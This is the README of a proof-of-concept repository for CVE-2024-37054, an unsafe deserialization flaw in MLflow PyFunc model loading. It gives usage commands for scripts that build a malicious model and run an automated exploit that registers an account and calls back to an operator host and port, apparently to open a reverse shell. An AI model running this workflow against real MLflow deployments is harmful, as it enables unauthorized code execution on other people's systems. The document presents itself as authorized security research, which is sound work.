
Proof-of-concept and research repository for CVE-2024-37054, an unsafe deserialization flaw in MLflow PyFunc model loading that can lead to remote code execution.
This repository documents research into CVE-2024-37054, an unsafe deserialization issue affecting MLflow PyFunc model handling.
In affected MLflow versions, loading an untrusted PyFunc model can cause Python deserialization logic to process a serialized object containing attacker-controlled behavior. If an untrusted artifact is loaded, code may execute under the permissions of the user or service performing the model-loading operation.
Affected versions reported in public advisories include:
MLflow 0.9.0 through 2.14.1
The primary risk is not simply “uploading a model.” The danger occurs when an application, analyst, worker, or ML platform loads an untrusted serialized model artifact.
Potential impact includes:
build_model.py
Creates a controlled test model artifact for use in a private, authorized lab environment.
exploit.py
Private proof-of-concept automation used only to validate the vulnerability path in an authorized training environment. This repository does not include live targets, credentials, session tokens, VPN configuration files, or destructive payloads.
Run this proof of concept only in an authorized lab environment.
Create the controlled model artifact:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
If you do not already have an authenticated session, use the automatic registration mode:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
This mode creates a temporary lab account, authenticates to the application, and continues with the model-registration and validation workflow.
If you already have a valid authorized session, pass it directly:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
Replace:
<YOUR_IP> with the IP address reachable from the authorized lab target.4444 with the listener port used in your lab.<SESSION_TOKEN> with your active authorized session value.Never publish real session tokens, credentials, VPN files, target addresses, or callback details.
Organizations using MLflow should treat model artifacts as untrusted input unless their origin and integrity have been verified.
Recommended safeguards:
This project is intended for defensive research, education, and authorized security testing only. The proof-of-concept workflow was evaluated solely in a controlled training environment. Do not test this vulnerability against systems, accounts, services, or networks without explicit written authorization.